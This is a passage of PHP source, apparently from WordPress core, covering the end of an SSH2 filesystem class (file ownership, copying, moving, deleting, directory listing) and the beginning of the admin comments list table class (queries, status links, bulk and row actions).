	 * @param string|int $owner     A user name or number.
	 * @param bool       $recursive Optional. If set to true, changes file owner recursively.
	 *                              Default false.
	 * @return bool True on success, false on failure.
	 */
	public function chown( $file, $owner, $recursive = false ) {
		if ( ! $this->exists( $file ) ) {
			return false;
		}

		if ( ! $recursive || ! $this->is_dir( $file ) ) {
			return $this->run_command( sprintf( 'chown %s %s', escapeshellarg( $owner ), escapeshellarg( $file ) ), true );
		}

		return $this->run_command( sprintf( 'chown -R %s %s', escapeshellarg( $owner ), escapeshellarg( $file ) ), true );
	}

	/**
	 * Gets the file owner.
	 *
	 * @since 2.7.0
	 *
	 * @param string $file Path to the file.
	 * @return string|false Username of the owner on success, false on failure.
	 */
	public function owner( $file ) {
		$owneruid = @fileowner( $this->sftp_path( $file ) );

		if ( ! $owneruid ) {
			return false;
		}

		if ( ! function_exists( 'posix_getpwuid' ) ) {
			return $owneruid;
		}

		$ownerarray = posix_getpwuid( $owneruid );

		if ( ! $ownerarray ) {
			return false;
		}

		return $ownerarray['name'];
	}

	/**
	 * Gets the permissions of the specified file or filepath in their octal format.
	 *
	 * @since 2.7.0
	 *
	 * @param string $file Path to the file.
	 * @return string Mode of the file (the last 3 digits).
	 */
	public function getchmod( $file ) {
		return substr( decoct( @fileperms( $this->sftp_path( $file ) ) ), -3 );
	}

	/**
	 * Gets the file's group.
	 *
	 * @since 2.7.0
	 *
	 * @param string $file Path to the file.
	 * @return string|false The group on success, false on failure.
	 */
	public function group( $file ) {
		$gid = @filegroup( $this->sftp_path( $file ) );

		if ( ! $gid ) {
			return false;
		}

		if ( ! function_exists( 'posix_getgrgid' ) ) {
			return $gid;
		}

		$grouparray = posix_getgrgid( $gid );

		if ( ! $grouparray ) {
			return false;
		}

		return $grouparray['name'];
	}

	/**
	 * Copies a file.
	 *
	 * @since 2.7.0
	 *
	 * @param string    $source      Path to the source file.
	 * @param string    $destination Path to the destination file.
	 * @param bool      $overwrite   Optional. Whether to overwrite the destination file if it exists.
	 *                               Default false.
	 * @param int|false $mode        Optional. The permissions as octal number, usually 0644 for files,
	 *                               0755 for dirs. Default false.
	 * @return bool True on success, false on failure.
	 */
	public function copy( $source, $destination, $overwrite = false, $mode = false ) {
		if ( ! $overwrite && $this->exists( $destination ) ) {
			return false;
		}

		$content = $this->get_contents( $source );

		if ( false === $content ) {
			return false;
		}

		return $this->put_contents( $destination, $content, $mode );
	}

	/**
	 * Moves a file or directory.
	 *
	 * After moving files or directories, OPcache will need to be invalidated.
	 *
	 * If moving a directory fails, `copy_dir()` can be used for a recursive copy.
	 *
	 * Use `move_dir()` for moving directories with OPcache invalidation and a
	 * fallback to `copy_dir()`.
	 *
	 * @since 2.7.0
	 *
	 * @param string $source      Path to the source file or directory.
	 * @param string $destination Path to the destination file or directory.
	 * @param bool   $overwrite   Optional. Whether to overwrite the destination if it exists.
	 *                            Default false.
	 * @return bool True on success, false on failure.
	 */
	public function move( $source, $destination, $overwrite = false ) {
		if ( $this->exists( $destination ) ) {
			if ( $overwrite ) {
				// We need to remove the destination before we can rename the source.
				$this->delete( $destination, false, 'f' );
			} else {
				// If we're not overwriting, the rename will fail, so return early.
				return false;
			}
		}

		return ssh2_sftp_rename( $this->sftp_link, $source, $destination );
	}

	/**
	 * Deletes a file or directory.
	 *
	 * @since 2.7.0
	 *
	 * @param string       $file      Path to the file or directory.
	 * @param bool         $recursive Optional. If set to true, deletes files and folders recursively.
	 *                                Default false.
	 * @param string|false $type      Type of resource. 'f' for file, 'd' for directory.
	 *                                Default false.
	 * @return bool True on success, false on failure.
	 */
	public function delete( $file, $recursive = false, $type = false ) {
		if ( 'f' === $type || $this->is_file( $file ) ) {
			return ssh2_sftp_unlink( $this->sftp_link, $file );
		}

		if ( ! $recursive ) {
			return ssh2_sftp_rmdir( $this->sftp_link, $file );
		}

		$filelist = $this->dirlist( $file );

		if ( is_array( $filelist ) ) {
			foreach ( $filelist as $filename => $fileinfo ) {
				$this->delete( $file . '/' . $filename, $recursive, $fileinfo['type'] );
			}
		}

		return ssh2_sftp_rmdir( $this->sftp_link, $file );
	}

	/**
	 * Checks if a file or directory exists.
	 *
	 * @since 2.7.0
	 *
	 * @param string $path Path to file or directory.
	 * @return bool Whether $path exists or not.
	 */
	public function exists( $path ) {
		return file_exists( $this->sftp_path( $path ) );
	}

	/**
	 * Checks if resource is a file.
	 *
	 * @since 2.7.0
	 *
	 * @param string $file File path.
	 * @return bool Whether $file is a file.
	 */
	public function is_file( $file ) {
		return is_file( $this->sftp_path( $file ) );
	}

	/**
	 * Checks if resource is a directory.
	 *
	 * @since 2.7.0
	 *
	 * @param string $path Directory path.
	 * @return bool Whether $path is a directory.
	 */
	public function is_dir( $path ) {
		return is_dir( $this->sftp_path( $path ) );
	}

	/**
	 * Checks if a file is readable.
	 *
	 * @since 2.7.0
	 *
	 * @param string $file Path to file.
	 * @return bool Whether $file is readable.
	 */
	public function is_readable( $file ) {
		return is_readable( $this->sftp_path( $file ) );
	}

	/**
	 * Checks if a file or directory is writable.
	 *
	 * @since 2.7.0
	 *
	 * @param string $path Path to file or directory.
	 * @return bool Whether $path is writable.
	 */
	public function is_writable( $path ) {
		// PHP will base its writable checks on system_user === file_owner, not ssh_user === file_owner.
		return true;
	}

	/**
	 * Gets the file's last access time.
	 *
	 * @since 2.7.0
	 *
	 * @param string $file Path to file.
	 * @return int|false Unix timestamp representing last access time, false on failure.
	 */
	public function atime( $file ) {
		return fileatime( $this->sftp_path( $file ) );
	}

	/**
	 * Gets the file modification time.
	 *
	 * @since 2.7.0
	 *
	 * @param string $file Path to file.
	 * @return int|false Unix timestamp representing modification time, false on failure.
	 */
	public function mtime( $file ) {
		return filemtime( $this->sftp_path( $file ) );
	}

	/**
	 * Gets the file size (in bytes).
	 *
	 * @since 2.7.0
	 *
	 * @param string $file Path to file.
	 * @return int|false Size of the file in bytes on success, false on failure.
	 */
	public function size( $file ) {
		return filesize( $this->sftp_path( $file ) );
	}

	/**
	 * Sets the access and modification times of a file.
	 *
	 * Note: Not implemented.
	 *
	 * @since 2.7.0
	 *
	 * @param string $file  Path to file.
	 * @param int    $time  Optional. Modified time to set for file.
	 *                      Default 0.
	 * @param int    $atime Optional. Access time to set for file.
	 *                      Default 0.
	 */
	public function touch( $file, $time = 0, $atime = 0 ) {
		// Not implemented.
	}

	/**
	 * Creates a directory.
	 *
	 * @since 2.7.0
	 *
	 * @param string           $path  Path for new directory.
	 * @param int|false        $chmod Optional. The permissions as octal number (or false to skip chmod).
	 *                                Default false.
	 * @param string|int|false $chown Optional. A user name or number (or false to skip chown).
	 *                                Default false.
	 * @param string|int|false $chgrp Optional. A group name or number (or false to skip chgrp).
	 *                                Default false.
	 * @return bool True on success, false on failure.
	 */
	public function mkdir( $path, $chmod = false, $chown = false, $chgrp = false ) {
		$path = untrailingslashit( $path );

		if ( empty( $path ) ) {
			return false;
		}

		if ( ! $chmod ) {
			$chmod = FS_CHMOD_DIR;
		}

		if ( ! ssh2_sftp_mkdir( $this->sftp_link, $path, $chmod, true ) ) {
			return false;
		}

		// Set directory permissions.
		ssh2_sftp_chmod( $this->sftp_link, $path, $chmod );

		if ( $chown ) {
			$this->chown( $path, $chown );
		}

		if ( $chgrp ) {
			$this->chgrp( $path, $chgrp );
		}

		return true;
	}

	/**
	 * Deletes a directory.
	 *
	 * @since 2.7.0
	 *
	 * @param string $path      Path to directory.
	 * @param bool   $recursive Optional. Whether to recursively remove files/directories.
	 *                          Default false.
	 * @return bool True on success, false on failure.
	 */
	public function rmdir( $path, $recursive = false ) {
		return $this->delete( $path, $recursive );
	}

	/**
	 * Gets details for files in a directory or a specific file.
	 *
	 * @since 2.7.0
	 *
	 * @param string $path           Path to directory or file.
	 * @param bool   $include_hidden Optional. Whether to include details of hidden ("." prefixed) files.
	 *                               Default true.
	 * @param bool   $recursive      Optional. Whether to recursively include file details in nested directories.
	 *                               Default false.
	 * @return array|false {
	 *     Array of arrays containing file information. False if unable to list directory contents.
	 *
	 *     @type array ...$0 {
	 *         Array of file information. Note that some elements may not be available on all filesystems.
	 *
	 *         @type string           $name        Name of the file or directory.
	 *         @type string           $perms       *nix representation of permissions.
	 *         @type string           $permsn      Octal representation of permissions.
	 *         @type false            $number      File number. Always false in this context.
	 *         @type string|false     $owner       Owner name or ID, or false if not available.
	 *         @type string|false     $group       File permissions group, or false if not available.
	 *         @type int|string|false $size        Size of file in bytes. May be a numeric string.
	 *                                             False if not available.
	 *         @type int|string|false $lastmodunix Last modified unix timestamp. May be a numeric string.
	 *                                             False if not available.
	 *         @type string|false     $lastmod     Last modified month (3 letters) and day (without leading 0), or
	 *                                             false if not available.
	 *         @type string|false     $time        Last modified time, or false if not available.
	 *         @type string           $type        Type of resource. 'f' for file, 'd' for directory, 'l' for link.
	 *         @type array|false      $files       If a directory and `$recursive` is true, contains another array of
	 *                                             files. False if unable to list directory contents.
	 *     }
	 * }
	 */
	public function dirlist( $path, $include_hidden = true, $recursive = false ) {
		if ( $this->is_file( $path ) ) {
			$limit_file = basename( $path );
			$path       = dirname( $path );
		} else {
			$limit_file = false;
		}

		if ( ! $this->is_dir( $path ) || ! $this->is_readable( $path ) ) {
			return false;
		}

		$ret = array();
		$dir = dir( $this->sftp_path( $path ) );

		if ( ! $dir ) {
			return false;
		}

		$path = trailingslashit( $path );

		while ( false !== ( $entry = $dir->read() ) ) {
			$struc         = array();
			$struc['name'] = $entry;

			if ( '.' === $struc['name'] || '..' === $struc['name'] ) {
				continue; // Do not care about these folders.
			}

			if ( ! $include_hidden && '.' === $struc['name'][0] ) {
				continue;
			}

			if ( $limit_file && $struc['name'] !== $limit_file ) {
				continue;
			}

			$struc['perms']       = $this->gethchmod( $path . $entry );
			$struc['permsn']      = $this->getnumchmodfromh( $struc['perms'] );
			$struc['number']      = false;
			$struc['owner']       = $this->owner( $path . $entry );
			$struc['group']       = $this->group( $path . $entry );
			$struc['size']        = $this->size( $path . $entry );
			$struc['lastmodunix'] = $this->mtime( $path . $entry );
			$struc['lastmod']     = gmdate( 'M j', $struc['lastmodunix'] );
			$struc['time']        = gmdate( 'h:i:s', $struc['lastmodunix'] );
			$struc['type']        = $this->is_dir( $path . $entry ) ? 'd' : 'f';

			if ( 'd' === $struc['type'] ) {
				if ( $recursive ) {
					$struc['files'] = $this->dirlist( $path . $struc['name'], $include_hidden, $recursive );
				} else {
					$struc['files'] = array();
				}
			}

			$ret[ $struc['name'] ] = $struc;
		}

		$dir->close();
		unset( $dir );

		return $ret;
	}
}
<?php
/**
 * List Table API: WP_Comments_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/**
 * Core class used to implement displaying comments in a list table.
 *
 * @since 3.1.0
 *
 * @see WP_List_Table
 */
class WP_Comments_List_Table extends WP_List_Table {

	public $checkbox = true;

	public $pending_count = array();

	public $extra_items;

	private $user_can;

	/**
	 * Constructor.
	 *
	 * @since 3.1.0
	 *
	 * @see WP_List_Table::__construct() for more information on default arguments.
	 *
	 * @global int $post_id
	 *
	 * @param array $args An associative array of arguments.
	 */
	public function __construct( $args = array() ) {
		global $post_id;

		$post_id = isset( $_REQUEST['p'] ) ? absint( $_REQUEST['p'] ) : 0;

		if ( get_option( 'show_avatars' ) ) {
			add_filter( 'comment_author', array( $this, 'floated_admin_avatar' ), 10, 2 );
		}

		parent::__construct(
			array(
				'plural'   => 'comments',
				'singular' => 'comment',
				'ajax'     => true,
				'screen'   => isset( $args['screen'] ) ? $args['screen'] : null,
			)
		);
	}

	/**
	 * Adds avatars to comment author names.
	 *
	 * @since 3.1.0
	 *
	 * @param string $name       Comment author name.
	 * @param int    $comment_id Comment ID.
	 * @return string Avatar with the user name.
	 */
	public function floated_admin_avatar( $name, $comment_id ) {
		$comment = get_comment( $comment_id );
		$avatar  = get_avatar( $comment, 32, 'mystery' );
		return "$avatar $name";
	}

	/**
	 * @return bool
	 */
	public function ajax_user_can() {
		return current_user_can( 'edit_posts' );
	}

	/**
	 * @global string $mode           List table view mode.
	 * @global int    $post_id
	 * @global string $comment_status
	 * @global string $comment_type
	 * @global string $search
	 */
	public function prepare_items() {
		global $mode, $post_id, $comment_status, $comment_type, $search;

		if ( ! empty( $_REQUEST['mode'] ) ) {
			$mode = 'excerpt' === $_REQUEST['mode'] ? 'excerpt' : 'list';
			set_user_setting( 'posts_list_mode', $mode );
		} else {
			$mode = get_user_setting( 'posts_list_mode', 'list' );
		}

		$comment_status = isset( $_REQUEST['comment_status'] ) ? $_REQUEST['comment_status'] : 'all';

		if ( ! in_array( $comment_status, array( 'all', 'mine', 'moderated', 'approved', 'spam', 'trash' ), true ) ) {
			$comment_status = 'all';
		}

		$comment_type = ! empty( $_REQUEST['comment_type'] ) ? $_REQUEST['comment_type'] : '';

		$search = ( isset( $_REQUEST['s'] ) ) ? $_REQUEST['s'] : '';

		$post_type = ( isset( $_REQUEST['post_type'] ) ) ? sanitize_key( $_REQUEST['post_type'] ) : '';

		$user_id = ( isset( $_REQUEST['user_id'] ) ) ? $_REQUEST['user_id'] : '';

		$orderby = ( isset( $_REQUEST['orderby'] ) ) ? $_REQUEST['orderby'] : '';
		$order   = ( isset( $_REQUEST['order'] ) ) ? $_REQUEST['order'] : '';

		$comments_per_page = $this->get_per_page( $comment_status );

		$doing_ajax = wp_doing_ajax();

		if ( isset( $_REQUEST['number'] ) ) {
			$number = (int) $_REQUEST['number'];
		} else {
			$number = $comments_per_page + min( 8, $comments_per_page ); // Grab a few extra.
		}

		$page = $this->get_pagenum();

		if ( isset( $_REQUEST['start'] ) ) {
			$start = $_REQUEST['start'];
		} else {
			$start = ( $page - 1 ) * $comments_per_page;
		}

		if ( $doing_ajax && isset( $_REQUEST['offset'] ) ) {
			$start += $_REQUEST['offset'];
		}

		$status_map = array(
			'mine'      => '',
			'moderated' => 'hold',
			'approved'  => 'approve',
			'all'       => '',
		);

		$args = array(
			'status'                    => isset( $status_map[ $comment_status ] ) ? $status_map[ $comment_status ] : $comment_status,
			'search'                    => $search,
			'user_id'                   => $user_id,
			'offset'                    => $start,
			'number'                    => $number,
			'post_id'                   => $post_id,
			'type'                      => $comment_type,
			'orderby'                   => $orderby,
			'order'                     => $order,
			'post_type'                 => $post_type,
			'update_comment_post_cache' => true,
		);

		/**
		 * Filters the arguments for the comment query in the comments list table.
		 *
		 * @since 5.1.0
		 *
		 * @param array $args An array of get_comments() arguments.
		 */
		$args = apply_filters( 'comments_list_table_query_args', $args );

		$_comments = get_comments( $args );

		if ( is_array( $_comments ) ) {
			$this->items       = array_slice( $_comments, 0, $comments_per_page );
			$this->extra_items = array_slice( $_comments, $comments_per_page );

			$_comment_post_ids = array_unique( wp_list_pluck( $_comments, 'comment_post_ID' ) );

			$this->pending_count = get_pending_comments_num( $_comment_post_ids );
		}

		$total_comments = get_comments(
			array_merge(
				$args,
				array(
					'count'   => true,
					'offset'  => 0,
					'number'  => 0,
					'orderby' => 'none',
				)
			)
		);

		$this->set_pagination_args(
			array(
				'total_items' => $total_comments,
				'per_page'    => $comments_per_page,
			)
		);
	}

	/**
	 * @param string $comment_status
	 * @return int
	 */
	public function get_per_page( $comment_status = 'all' ) {
		$comments_per_page = $this->get_items_per_page( 'edit_comments_per_page' );

		/**
		 * Filters the number of comments listed per page in the comments list table.
		 *
		 * @since 2.6.0
		 *
		 * @param int    $comments_per_page The number of comments to list per page.
		 * @param string $comment_status    The comment status name. Default 'All'.
		 */
		return apply_filters( 'comments_per_page', $comments_per_page, $comment_status );
	}

	/**
	 * @global string $comment_status
	 */
	public function no_items() {
		global $comment_status;

		if ( 'moderated' === $comment_status ) {
			_e( 'No comments awaiting moderation.' );
		} elseif ( 'trash' === $comment_status ) {
			_e( 'No comments found in Trash.' );
		} else {
			_e( 'No comments found.' );
		}
	}

	/**
	 * @global int $post_id
	 * @global string $comment_status
	 * @global string $comment_type
	 */
	protected function get_views() {
		global $post_id, $comment_status, $comment_type;

		$status_links = array();
		$num_comments = ( $post_id ) ? wp_count_comments( $post_id ) : wp_count_comments();

		$stati = array(
			/* translators: %s: Number of comments. */
			'all'       => _nx_noop(
				'All <span class="count">(%s)</span>',
				'All <span class="count">(%s)</span>',
				'comments'
			), // Singular not used.

			/* translators: %s: Number of comments. */
			'mine'      => _nx_noop(
				'Mine <span class="count">(%s)</span>',
				'Mine <span class="count">(%s)</span>',
				'comments'
			),

			/* translators: %s: Number of comments. */
			'moderated' => _nx_noop(
				'Pending <span class="count">(%s)</span>',
				'Pending <span class="count">(%s)</span>',
				'comments'
			),

			/* translators: %s: Number of comments. */
			'approved'  => _nx_noop(
				'Approved <span class="count">(%s)</span>',
				'Approved <span class="count">(%s)</span>',
				'comments'
			),

			/* translators: %s: Number of comments. */
			'spam'      => _nx_noop(
				'Spam <span class="count">(%s)</span>',
				'Spam <span class="count">(%s)</span>',
				'comments'
			),

			/* translators: %s: Number of comments. */
			'trash'     => _nx_noop(
				'Trash <span class="count">(%s)</span>',
				'Trash <span class="count">(%s)</span>',
				'comments'
			),
		);

		if ( ! EMPTY_TRASH_DAYS ) {
			unset( $stati['trash'] );
		}

		$link = admin_url( 'edit-comments.php' );

		if ( ! empty( $comment_type ) && 'all' !== $comment_type ) {
			$link = add_query_arg( 'comment_type', $comment_type, $link );
		}

		foreach ( $stati as $status => $label ) {
			if ( 'mine' === $status ) {
				$current_user_id    = get_current_user_id();
				$num_comments->mine = get_comments(
					array(
						'post_id' => $post_id ? $post_id : 0,
						'user_id' => $current_user_id,
						'count'   => true,
						'orderby' => 'none',
					)
				);
				$link               = add_query_arg( 'user_id', $current_user_id, $link );
			} else {
				$link = remove_query_arg( 'user_id', $link );
			}

			if ( ! isset( $num_comments->$status ) ) {
				$num_comments->$status = 10;
			}

			$link = add_query_arg( 'comment_status', $status, $link );

			if ( $post_id ) {
				$link = add_query_arg( 'p', absint( $post_id ), $link );
			}

			/*
			// I toyed with this, but decided against it. Leaving it in here in case anyone thinks it is a good idea. ~ Mark
			if ( !empty( $_REQUEST['s'] ) )
				$link = add_query_arg( 's', esc_attr( wp_unslash( $_REQUEST['s'] ) ), $link );
			*/

			$status_links[ $status ] = array(
				'url'     => esc_url( $link ),
				'label'   => sprintf(
					translate_nooped_plural( $label, $num_comments->$status ),
					sprintf(
						'<span class="%s-count">%s</span>',
						( 'moderated' === $status ) ? 'pending' : $status,
						number_format_i18n( $num_comments->$status )
					)
				),
				'current' => $status === $comment_status,
			);
		}

		/**
		 * Filters the comment status links.
		 *
		 * @since 2.5.0
		 * @since 5.1.0 The 'Mine' link was added.
		 *
		 * @param string[] $status_links An associative array of fully-formed comment status links. Includes 'All', 'Mine',
		 *                              'Pending', 'Approved', 'Spam', and 'Trash'.
		 */
		return apply_filters( 'comment_status_links', $this->get_views_links( $status_links ) );
	}

	/**
	 * @global string $comment_status
	 *
	 * @return array
	 */
	protected function get_bulk_actions() {
		global $comment_status;

		$actions = array();

		if ( in_array( $comment_status, array( 'all', 'approved' ), true ) ) {
			$actions['unapprove'] = __( 'Unapprove' );
		}

		if ( in_array( $comment_status, array( 'all', 'moderated' ), true ) ) {
			$actions['approve'] = __( 'Approve' );
		}

		if ( in_array( $comment_status, array( 'all', 'moderated', 'approved', 'trash' ), true ) ) {
			$actions['spam'] = _x( 'Mark as spam', 'comment' );
		}

		if ( 'trash' === $comment_status ) {
			$actions['untrash'] = __( 'Restore' );
		} elseif ( 'spam' === $comment_status ) {
			$actions['unspam'] = _x( 'Not spam', 'comment' );
		}

		if ( in_array( $comment_status, array( 'trash', 'spam' ), true ) || ! EMPTY_TRASH_DAYS ) {
			$actions['delete'] = __( 'Delete permanently' );
		} else {
			$actions['trash'] = __( 'Move to Trash' );
		}

		return $actions;
	}

	/**
	 * @global string $comment_status
	 * @global string $comment_type
	 *
	 * @param string $which
	 */
	protected function extra_tablenav( $which ) {
		global $comment_status, $comment_type;
		static $has_items;

		if ( ! isset( $has_items ) ) {
			$has_items = $this->has_items();
		}

		echo '<div class="alignleft actions">';

		if ( 'top' === $which ) {
			ob_start();

			$this->comment_type_dropdown( $comment_type );

			/**
			 * Fires just before the Filter submit button for comment types.
			 *
			 * @since 3.5.0
			 */
			do_action( 'restrict_manage_comments' );

			$output = ob_get_clean();

			if ( ! empty( $output ) && $this->has_items() ) {
				echo $output;
				submit_button( __( 'Filter' ), '', 'filter_action', false, array( 'id' => 'post-query-submit' ) );
			}
		}

		if ( ( 'spam' === $comment_status || 'trash' === $comment_status ) && $has_items
			&& current_user_can( 'moderate_comments' )
		) {
			wp_nonce_field( 'bulk-destroy', '_destroy_nonce' );
			$title = ( 'spam' === $comment_status ) ? esc_attr__( 'Empty Spam' ) : esc_attr__( 'Empty Trash' );
			submit_button( $title, 'apply', 'delete_all', false );
		}

		/**
		 * Fires after the Filter submit button for comment types.
		 *
		 * @since 2.5.0
		 * @since 5.6.0 The `$which` parameter was added.
		 *
		 * @param string $comment_status The comment status name. Default 'All'.
		 * @param string $which          The location of the extra table nav markup: Either 'top' or 'bottom'.
		 */
		do_action( 'manage_comments_nav', $comment_status, $which );

		echo '</div>';
	}

	/**
	 * @return string|false
	 */
	public function current_action() {
		if ( isset( $_REQUEST['delete_all'] ) || isset( $_REQUEST['delete_all2'] ) ) {
			return 'delete_all';
		}

		return parent::current_action();
	}

	/**
	 * @global int $post_id
	 *
	 * @return string[] Array of column titles keyed by their column name.
	 */
	public function get_columns() {
		global $post_id;

		$columns = array();

		if ( $this->checkbox ) {
			$columns['cb'] = '<input type="checkbox" />';
		}

		$columns['author']  = __( 'Author' );
		$columns['comment'] = _x( 'Comment', 'column name' );

		if ( ! $post_id ) {
			/* translators: Column name or table row header. */
			$columns['response'] = __( 'In response to' );
		}

		$columns['date'] = _x( 'Submitted on', 'column name' );

		return $columns;
	}

	/**
	 * Displays a comment type drop-down for filtering on the Comments list table.
	 *
	 * @since 5.5.0
	 * @since 5.6.0 Renamed from `comment_status_dropdown()` to `comment_type_dropdown()`.
	 *
	 * @param string $comment_type The current comment type slug.
	 */
	protected function comment_type_dropdown( $comment_type ) {
		/**
		 * Filters the comment types shown in the drop-down menu on the Comments list table.
		 *
		 * @since 2.7.0
		 *
		 * @param string[] $comment_types Array of comment type labels keyed by their name.
		 */
		$comment_types = apply_filters(
			'admin_comment_types_dropdown',
			array(
				'comment' => __( 'Comments' ),
				'pings'   => __( 'Pings' ),
			)
		);

		if ( $comment_types && is_array( $comment_types ) ) {
			printf(
				'<label class="screen-reader-text" for="filter-by-comment-type">%s</label>',
				/* translators: Hidden accessibility text. */
				__( 'Filter by comment type' )
			);

			echo '<select id="filter-by-comment-type" name="comment_type">';

			printf( "\t<option value=''>%s</option>", __( 'All comment types' ) );

			foreach ( $comment_types as $type => $label ) {
				if ( get_comments(
					array(
						'count'   => true,
						'orderby' => 'none',
						'type'    => $type,
					)
				) ) {
					printf(
						"\t<option value='%s'%s>%s</option>\n",
						esc_attr( $type ),
						selected( $comment_type, $type, false ),
						esc_html( $label )
					);
				}
			}

			echo '</select>';
		}
	}

	/**
	 * @return array
	 */
	protected function get_sortable_columns() {
		return array(
			'author'   => array( 'comment_author', false, __( 'Author' ), __( 'Table ordered by Comment Author.' ) ),
			'response' => array( 'comment_post_ID', false, _x( 'In Response To', 'column name' ), __( 'Table ordered by Post Replied To.' ) ),
			'date'     => 'comment_date',
		);
	}

	/**
	 * Gets the name of the default primary column.
	 *
	 * @since 4.3.0
	 *
	 * @return string Name of the default primary column, in this case, 'comment'.
	 */
	protected function get_default_primary_column_name() {
		return 'comment';
	}

	/**
	 * Displays the comments table.
	 *
	 * Overrides the parent display() method to render extra comments.
	 *
	 * @since 3.1.0
	 */
	public function display() {
		wp_nonce_field( 'fetch-list-' . get_class( $this ), '_ajax_fetch_list_nonce' );
		static $has_items;

		if ( ! isset( $has_items ) ) {
			$has_items = $this->has_items();

			if ( $has_items ) {
				$this->display_tablenav( 'top' );
			}
		}

		$this->screen->render_screen_reader_content( 'heading_list' );

		?>
<table class="wp-list-table <?php echo implode( ' ', $this->get_table_classes() ); ?>">
		<?php
		if ( ! isset( $_GET['orderby'] ) ) {
			// In the initial view, Comments are ordered by comment's date but there's no column for that.
			echo '<caption class="screen-reader-text">' .
			/* translators: Hidden accessibility text. */
			__( 'Ordered by Comment Date, descending.' ) .
			'</caption>';
		} else {
			$this->print_table_description();
		}
		?>
	<thead>
	<tr>
		<?php $this->print_column_headers(); ?>
	</tr>
	</thead>

	<tbody id="the-comment-list" data-wp-lists="list:comment">
		<?php $this->display_rows_or_placeholder(); ?>
	</tbody>

	<tbody id="the-extra-comment-list" data-wp-lists="list:comment" style="display: none;">
		<?php
			/*
			 * Back up the items to restore after printing the extra items markup.
			 * The extra items may be empty, which will prevent the table nav from displaying later.
			 */
			$items       = $this->items;
			$this->items = $this->extra_items;
			$this->display_rows_or_placeholder();
			$this->items = $items;
		?>
	</tbody>

	<tfoot>
	<tr>
		<?php $this->print_column_headers( false ); ?>
	</tr>
	</tfoot>

</table>
		<?php

		$this->display_tablenav( 'bottom' );
	}

	/**
	 * @global WP_Post    $post    Global post object.
	 * @global WP_Comment $comment Global comment object.
	 *
	 * @param WP_Comment $item
	 */
	public function single_row( $item ) {
		global $post, $comment;

		// Restores the more descriptive, specific name for use within this method.
		$comment = $item;

		if ( $comment->comment_post_ID > 0 ) {
			$post = get_post( $comment->comment_post_ID );
		}

		$edit_post_cap = $post ? 'edit_post' : 'edit_posts';

		if ( ! current_user_can( $edit_post_cap, $comment->comment_post_ID )
			&& ( post_password_required( $comment->comment_post_ID )
				|| ! current_user_can( 'read_post', $comment->comment_post_ID ) )
		) {
			// The user has no access to the post and thus cannot see the comments.
			return false;
		}

		$the_comment_class = wp_get_comment_status( $comment );

		if ( ! $the_comment_class ) {
			$the_comment_class = '';
		}

		$the_comment_class = implode( ' ', get_comment_class( $the_comment_class, $comment, $comment->comment_post_ID ) );

		$this->user_can = current_user_can( 'edit_comment', $comment->comment_ID );

		echo "<tr id='comment-$comment->comment_ID' class='$the_comment_class'>";
		$this->single_row_columns( $comment );
		echo "</tr>\n";

		unset( $GLOBALS['post'], $GLOBALS['comment'] );
	}

	/**
	 * Generates and displays row actions links.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$comment` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @global string $comment_status Status for the current listed comments.
	 *
	 * @param WP_Comment $item        The comment object.
	 * @param string     $column_name Current column name.
	 * @param string     $primary     Primary column name.
	 * @return string Row actions output for comments. An empty string
	 *                if the current column is not the primary column,
	 *                or if the current user cannot edit the comment.
	 */
	protected function handle_row_actions( $item, $column_name, $primary ) {
		global $comment_status;

		if ( $primary !== $column_name ) {
			return '';
		}

		if ( ! $this->user_can ) {
			return '';
		}

		// Restores the more descriptive, specific name for use within this method.
		$comment = $item;

		$the_comment_status = wp_get_comment_status( $comment );

		$output = '';

		$del_nonce     = esc_html( '_wpnonce=' . wp_create_nonce( "delete-comment_$comment->comment_ID" ) );
		$approve_nonce = esc_html( '_wpnonce=' . wp_create_nonce( "approve-comment_$comment->comment_ID" ) );

		$url = "comment.php?c=$comment->comment_ID";

		$approve_url   = esc_url( $url . "&action=approvecomment&$approve_nonce" );
		$unapprove_url = esc_url( $url . "&action=unapprovecomment&$approve_nonce" );
		$spam_url      = esc_url( $url . "&action=spamcomment&$del_nonce" );
		$unspam_url    = esc_url( $url . "&action=unspamcomment&$del_nonce" );
		$trash_url     = esc_url( $url . "&action=trashcomment&$del_nonce" );
		$untrash_url   = esc_url( $url . "&action=untrashcomment&$del_nonce" );
		$delete_url    = esc_url( $url . "&action=deletecomment&$del_nonce" );

		// Preorder it: Approve | Reply | Quick Edit | Edit | Spam | Trash.
		$actions = array(
			'approve'   => '',
			'unapprove' => '',
			'reply'     => '',
			'quickedit' => '',
			'edit'      => '',
			'spam'      => '',
			'unspam'    => '',
			'trash'     => '',
			'untrash'   => '',
			'delete'    => '',
		);

		// Not looking at all comments.
		if ( $comment_status && 'all' !== $comment_status ) {
			if ( 'approved' === $the_comment_status ) {
				$actions['unapprove'] = sprintf(
					'<a href="%s" data-wp-lists="%s" class="vim-u vim-destructive aria-button-if-js" aria-label="%s">%s</a>',
					$unapprove_url,
					"delete:the-comment-list:comment-{$comment->comment_ID}:e7e7d3:action=dim-comment&amp;new=unapproved",
					esc_attr__( 'Unapprove this comment' ),
					__( 'Unapprove' )
				);
			} elseif ( 'unapproved' === $the_comment_status ) {
				$actions['approve'] = sprintf(
					'<a href="%s" data-wp-lists="%s" class="vim-a vim-destructive aria-button-if-js" aria-label="%s">%s</a>',
					$approve_url,
					"delete:the-comment-list:comment-{$comment->comment_ID}:e7e7d3:action=dim-comment&amp;new=approved",
					esc_attr__( 'Approve this comment' ),
					__( 'Approve' )
				);
			}
		} else {
			$actions['approve'] = sprintf(
				'<a href="%s" data-wp-lists="%s" class="vim-a aria-button-if-js" aria-label="%s">%s</a>',
				$approve_url,
				"dim:the-comment-list:comment-{$comment->comment_ID}:unapproved:e7e7d3:e7e7d3:new=approved",
				esc_attr__( 'Approve this comment' ),
				__( 'Approve' )
			);

			$actions['unapprove'] = sprintf(
				'<a href="%s" data-wp-lists="%s" class="vim-u aria-button-if-js" aria-label="%s">%s</a>',
				$unapprove_url,
				"dim:the-comment-list:comment-{$comment->comment_ID}:unapproved:e7e7d3:e7e7d3:new=unapproved",
				esc_attr__( 'Unapprove this comment' ),
				__( 'Unapprove' )
			);
		}

		if ( 'spam' !== $the_comment_status ) {
			$actions['spam'] = sprintf(
				'<a href="%s" data-wp-lists="%s" class="vim-s vim-destructive aria-button-if-js" aria-label="%s">%s</a>',
				$spam_url,
				"delete:the-comment-list:comment-{$comment->comment_ID}::spam=1",
